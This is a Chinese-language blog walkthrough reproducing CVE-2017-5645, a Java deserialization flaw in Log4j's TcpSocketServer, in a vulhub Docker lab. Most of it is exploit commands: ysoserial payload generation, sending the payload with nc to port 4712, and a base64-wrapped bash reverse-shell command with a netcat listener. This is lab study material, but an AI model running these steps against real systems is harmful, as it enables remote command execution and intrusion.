CVE-2017-5645
影响范围:
Apache Log4j 2.0-alpha1 - 2.8.1
漏洞类型:
Java反序列化
操作系统限制:
无
配置要求:
启动Log4j的TcpSocketServer服务,监听4712端口(也可指定其他端口)
漏洞利用:
命令执行,反弹shell,植入木马
利用原理:
Log4j的TcpSocketServer和UdpSocketServer类中,在接收日志数据时,没有对数据进行安全检验,直接通过ObjectInputSteam.readObject()进行反序列化,攻击者可以构造被序列化的恶意对象链来实现命令执行
漏洞复现:
用现成的vulhub来拉取镜像
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/log4j/CVE-2017-5645
#拉取镜像
docker-compose up -d
扫描靶机端口4712,用telnet连接成功连接,说明端口开放
telnet 公网ip 被扫描端口
nc -zv 公网ip 被扫描端口
下载攻击工具并检查是否有Java环境
# 下载编译好的 jar 包
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar
#检查Java环境
java -version
使用工具工具构造payload,这里执行touch /tmp/success
java -jar ysoserial.jar 利用的攻击链(这里用CommonsCollection6,) "执行的命令" > 文件名.bin
使用nc将二进制文件传到靶机
nc -v 靶机ip 4712 < 工具构造的文件名.bin
进入容器查看/tmp,发现存在success,说明成功执行命令

进行反弹shell,使用nc,nc -lvvp 监听端口

构造攻击payload,将执行命令替换成下面这条
bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}
用nc将二进制文件传入靶机

成功连接

本文链接:
/archives/cve-2017-5645
版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
Johan的秘密小窝!
喜欢就支持一下吧